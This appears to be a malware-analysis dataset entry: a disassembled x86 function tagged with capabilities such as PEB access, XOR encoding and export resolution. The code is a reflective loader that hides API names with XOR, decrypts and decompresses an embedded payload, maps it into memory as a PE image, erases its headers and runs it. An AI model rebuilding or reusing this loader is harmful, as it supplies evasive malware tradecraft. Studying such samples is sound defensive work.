Function at 0x10001130
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
push 0x50
lea eax, [esp + 0x34]
push 0
push eax
call fcn.10028200
mov eax, dword fs:[0x30]
mov dword [esp + 0x64], eax
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov edi, dword [eax + 0x18]
mov ecx, dword [esp + 0x3c]
add esp, 0xc
test edi, edi
je 0x100011a7
mov ebx, 0x74
lea ecx, [ecx]
mov esi, dword [eax + 0x30]
movzx edx, word [esi]
cmp dx, 0x4e
je 0x10001182
cmp dx, 0x6e
jne 0x1000119a
cmp word [esi + 2], bx
jne 0x1000119a
mov edx, esi
mov si, word [edx + 6]
cmp si, word [edx + 8]
jne 0x1000119a
mov ecx, edi
mov dword [esp + 0x30], ecx
test ecx, ecx
jne 0x100011a7
mov eax, dword [eax]
mov edi, dword [eax + 0x18]
test edi, edi
jne 0x10001170
mov edx, dword [ecx + 0x3c]
mov edx, dword [edx + ecx + 0x78]
mov eax, dword [edx + ecx + 0x20]
mov edi, dword [edx + ecx + 0x24]
add edx, ecx
add eax, ecx
mov dword [esp + 0x10], edx
add edi, ecx
mov dword [esp + 0x28], eax
mov eax, dword [eax]
mov ebx, dword [eax + ecx + 8]
mov edx, dword [eax + ecx]
mov esi, dword [eax + ecx + 4]
add eax, ecx
xor ebx, 0xf4540e80
mov dword [esp + 0x14], ebx
mov ebx, dword [eax + 0xc]
xor ebx, 0xf4540e80
mov dword [esp + 0x18], ebx
mov ebx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
xor ebx, 0xf4540e80
xor edx, 0xf4540e80
xor esi, 0xf4540e80
xor eax, 0xf4540e80
cmp dword [esp + 0x3c], 0
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], ebx
jne 0x10001263
cmp edx, 0x981579da
jne 0x10001263
cmp esi, 0x953761ec
jne 0x10001263
cmp dword [esp + 0x14], 0x9d026bf4
jne 0x10001263
cmp dword [esp + 0x18], 0x95217af2
jne 0x10001263
cmp ebx, 0x993143ec
jne 0x10001263
cmp eax, 0xf42d7cef
jne 0x10001263
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x3c], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x40], 0
jne 0x100012b2
cmp edx, 0x861279da
jne 0x100012b2
cmp esi, 0x9d026be5
jne 0x100012b2
cmp dword [esp + 0x14], 0x95217af2
jne 0x100012b2
cmp dword [esp + 0x18], 0x993143ec
jne 0x100012b2
cmp dword [esp + 0x1c], 0xf42d7cef
jne 0x100012b2
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x40], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x38], 0
jne 0x100012e3
cmp edx, 0xb8266acc
jne 0x100012e3
cmp esi, 0xb0306fef
jne 0x100012e3
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x38], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x34], 0
jne 0x10001332
cmp edx, 0xb3266acc
jne 0x10001332
cmp esi, 0x86047ae5
jne 0x10001332
cmp dword [esp + 0x14], 0x90316def
jne 0x10001332
cmp dword [esp + 0x18], 0xb5317cf5
jne 0x10001332
cmp dword [esp + 0x1c], 0x91266ae4
jne 0x10001332
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x34], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x48], 0
jne 0x10001384
cmp edx, 0xb5387ad2
jne 0x10001384
cmp esi, 0xa73d7dee
jne 0x10001384
cmp dword [esp + 0x14], 0x9a3d7cf4
jne 0x10001384
cmp dword [esp + 0x18], 0xa13b5ae7
jne 0x10001384
cmp dword [esp + 0x1c], 0x9b3767ee
jne 0x10001384
cmp eax, 0x80076be4
jne 0x10001384
movzx eax, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea eax, [ebx + eax*4]
mov eax, dword [eax + ecx]
add eax, ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x4c]
mov ebx, dword [ebp + 8]
test eax, eax
jne 0x100013d6
cmp edx, 0xb2387ad2
jne 0x100013d6
cmp esi, 0xa1316bf2
jne 0x100013d6
cmp dword [esp + 0x14], 0x9b3767ee
jne 0x100013d6
cmp dword [esp + 0x18], 0x80076be4
jne 0x100013d6
cmp dword [esp + 0x1c], 0x933a67f2
jne 0x100013d6
movzx eax, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea eax, [ebx + eax*4]
mov eax, dword [eax + ecx]
mov ebx, dword [ebp + 8]
add eax, ecx
mov dword [esp + 0x4c], eax
cmp dword [esp + 0x44], 0
jne 0x1000142c
cmp edx, 0xb0387ad2
jne 0x1000142c
cmp esi, 0x993b6de5
jne 0x1000142c
cmp dword [esp + 0x14], 0x87317cf0
jne 0x1000142c
cmp dword [esp + 0x18], 0x92214cf3
jne 0x1000142c
xor edx, edx
cmp dword [esp + 0x1c], 0x726566
sete dl
xor edx, 0xf4540e80
je 0x1000142c
movzx edx, word [edi]
mov esi, dword [esp + 0x10]
mov esi, dword [esi + 0x1c]
lea edx, [esi + edx*4]
mov edx, dword [edx + ecx]
add edx, ecx
mov dword [esp + 0x44], edx
cmp dword [esp + 0x38], 0
je 0x10001453
cmp dword [esp + 0x3c], 0
je 0x10001453
cmp dword [esp + 0x40], 0
je 0x10001453
cmp dword [esp + 0x34], 0
je 0x10001453
test eax, eax
je 0x10001453
cmp dword [esp + 0x48], 0
jne 0x10001462
mov eax, dword [esp + 0x28]
add eax, 4
add edi, 2
jmp 0x100011c0
lea esi, [ebx + 4]
xor ecx, ecx
mov eax, esi
lea esp, [esp]
mov dx, word [ebx + 2]
add word [eax], dx
movzx edx, word [eax]
mov di, word [ebx]
xor di, dx
lea edx, [ecx + 0x128e]
mov word [eax], di
add word [ebx], dx
inc ecx
add eax, 2
cmp ecx, 4
jl 0x10001470
mov eax, dword [ebx + 8]
and eax, 0xfffffffe
mov ecx, 4
cmp eax, 8
jbe 0x100014d9
lea eax, [ebx + 0xc]
jmp 0x100014b0
mov dx, word [ebx + 2]
add word [eax], dx
movzx edx, word [eax]
mov di, word [ebx]
xor di, dx
lea edx, [ecx + 0x128e]
mov word [eax], di
add word [ebx], dx
mov edx, dword [ebx + 8]
inc ecx
shr edx, 1
add eax, 2
cmp ecx, edx
jb 0x100014b0
mov eax, dword [esi]
push 4
push 0x1000
lea ecx, [esp + 0x2c]
push ecx
push 0
lea edx, [esp + 0x60]
push edx
push 0xffffffffffffffff
mov dword [esp + 0x3c], eax
call dword [esp + 0x54]
mov ecx, dword [ebx + 8]
mov edx, dword [esi]
lea eax, [esp + 0x54]
push eax
mov eax, dword [esp + 0x54]
push ecx
add ebx, 0xc
push ebx
push edx
push eax
push 0x102
call dword [esp + 0x5c]
mov eax, dword [esp + 0x50]
mov ecx, 0x5a4d
mov dword [esp + 0x5c], eax
cmp word [eax], cx
je 0x10001533
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [esp + 0x60], ecx
cmp dword [ecx], 0x4550
jne 0x10001528
mov edx, dword [ecx + 0x50]
push 0x40
push 0x1000
lea eax, [esp + 0x2c]
push eax
push 0
lea ecx, [esp + 0x74]
push ecx
push 0xffffffffffffffff
mov dword [esp + 0x3c], edx
call dword [esp + 0x54]
mov ecx, dword [esp + 0x64]
xor eax, eax
test ecx, ecx
je 0x10001832
mov edx, dword [esp + 0x60]
cmp dword [edx + 0x54], eax
jbe 0x10001598
jmp 0x10001580
mov edx, dword [esp + 0x5c]
mov dl, byte [eax + edx]
mov byte [eax + ecx], dl
mov ecx, dword [esp + 0x60]
inc eax
cmp eax, dword [ecx + 0x54]
mov ecx, dword [esp + 0x64]
jb 0x10001580
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 0x3c]
add eax, ecx
mov dword [esp + 0x68], eax
mov dword [eax + 0x34], ecx
mov esi, dword [esp + 0x68]
movzx eax, word [esi + 0x14]
xor edx, edx
xor edi, edi
lea ecx, [eax + esi + 0x18]
cmp dx, word [esi + 6]
jae 0x1000162d
add ecx, 0x10
mov edx, dword [ecx]
test edx, edx
jne 0x100015f9
mov eax, dword [esp + 0x60]
mov edx, dword [eax + 0x38]
test edx, edx
jbe 0x10001621
xor eax, eax
test edx, edx
jbe 0x10001621
jmp 0x100015e0
mov edx, dword [ecx - 4]
mov esi, dword [esp + 0x64]
add edx, eax
mov byte [edx + esi], 0
mov edx, dword [esp + 0x60]
inc eax
cmp eax, dword [edx + 0x38]
jb 0x100015e0
jmp 0x1000161d
xor eax, eax
test edx, edx
jbe 0x10001621
nop
mov edx, dword [ecx + 4]
mov ebx, dword [esp + 0x50]
mov esi, dword [ecx - 4]
add edx, eax
mov dl, byte [edx + ebx]
mov ebx, dword [esp + 0x64]
add esi, eax
inc eax
mov byte [esi + ebx], dl
cmp eax, dword [ecx]
jb 0x10001600
mov esi, dword [esp + 0x68]
movzx eax, word [esi + 6]
inc edi
add ecx, 0x28
cmp edi, eax
jl 0x100015c1
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x60]
mov ecx, eax
sub ecx, dword [edx + 0x34]
mov dword [esp + 0x6c], ecx
je 0x100016c1
cmp dword [esi + 0xa4], 0
jbe 0x100016c1
mov ecx, dword [esi + 0xa0]
mov edx, dword [ecx + eax]
add ecx, eax
test edx, edx
jbe 0x100016c1
lea esp, [esp]
mov ebx, dword [ecx + 4]
lea edi, [eax + edx]
sub ebx, 8
xor edx, edx
lea esi, [ecx + 8]
test ebx, 0xfffffffe
jbe 0x100016b4
jmp 0x10001680
movzx eax, word [esi]
mov ebx, eax
and ebx, 0xfffff000
cmp ebx, 0x3000
jne 0x100016a0
mov ebx, dword [esp + 0x6c]
and eax, 0xfff
add eax, edi
add dword [eax], ebx
mov eax, dword [ecx + 4]
sub eax, 8
inc edx
shr eax, 1
add esi, 2
cmp edx, eax
jb 0x10001680
mov eax, dword [esp + 0x64]
add ecx, dword [ecx + 4]
mov edx, dword [ecx]
test edx, edx
ja 0x10001660
mov esi, dword [esp + 0x68]
cmp dword [esi + 0x84], 0
jbe 0x100017db
mov ebx, dword [esi + 0x80]
add ebx, eax
je 0x100017db
lea esp, [esp]
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x100017d7
add ecx, eax
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x100016fe
inc eax
cmp byte [eax + ecx], 0
jne 0x100016f7
push 1
lea ecx, [esp + 0x7c]
mov word [esp + 0x7c], ax
push ecx
lea edx, [esp + 0x78]
inc eax
push edx
mov word [esp + 0x86], ax
call dword [esp + 0x54]
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x74]
push ecx
push 0
push 0
call dword [esp + 0x48]
lea edx, [esp + 0x70]
push edx
call dword [esp + 0x50]
mov edx, dword [esp + 0x2c]
test edx, edx
je 0x10001528
mov ecx, dword [ebx]
mov eax, dword [esp + 0x64]
test ecx, ecx
je 0x10001757
mov esi, dword [ebx + 0x10]
lea edi, [eax + ecx]
add esi, eax
jmp 0x1000175f
mov ecx, dword [ebx + 0x10]
lea edi, [ecx + eax]
mov esi, edi
mov ecx, dword [edi]
test ecx, ecx
je 0x100017ce
jmp 0x10001778
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x2c]
test ecx, ecx
jns 0x10001785
movzx eax, word [edi]
push esi
push eax
push 0
jmp 0x100017b3
lea ecx, [ecx + eax + 2]
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x1000179a
inc eax
cmp byte [eax + ecx], 0
jne 0x10001793
push esi
mov word [esp + 0x7c], ax
inc eax
push 0
lea ecx, [esp + 0x80]
mov word [esp + 0x82], ax
push ecx
push edx
call dword [esp + 0x44]
cmp dword [esi], 0
je 0x100017ca
mov ecx, dword [edi + 4]
add edi, 4
add esi, 4
test ecx, ecx
jne 0x10001770
mov eax, dword [esp + 0x64]
add ebx, 0x14
jne 0x100016e0
mov esi, dword [esp + 0x68]
mov esi, dword [esi + 0x28]
add esi, eax
xor ecx, ecx
jmp 0x100017e8
mov eax, dword [esp + 0x64]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x100017e4
xor eax, eax
mov edx, dword [esp + 0x68]
mov byte [eax + edx], 0
inc eax
cmp eax, 4
jb 0x100017f4
mov eax, dword [esp + 0x68]
cmp dword [eax + 0x28], 0
je 0x10001819
mov ecx, dword [ebp + 8]
mov edx, dword [esp + 0x64]
push ecx
push 1
push edx
call esi
push 0x4000
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x58]
push ecx
push 0xffffffffffffffff
call dword [esp + 0x50]
mov eax, dword [esp + 0x64]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4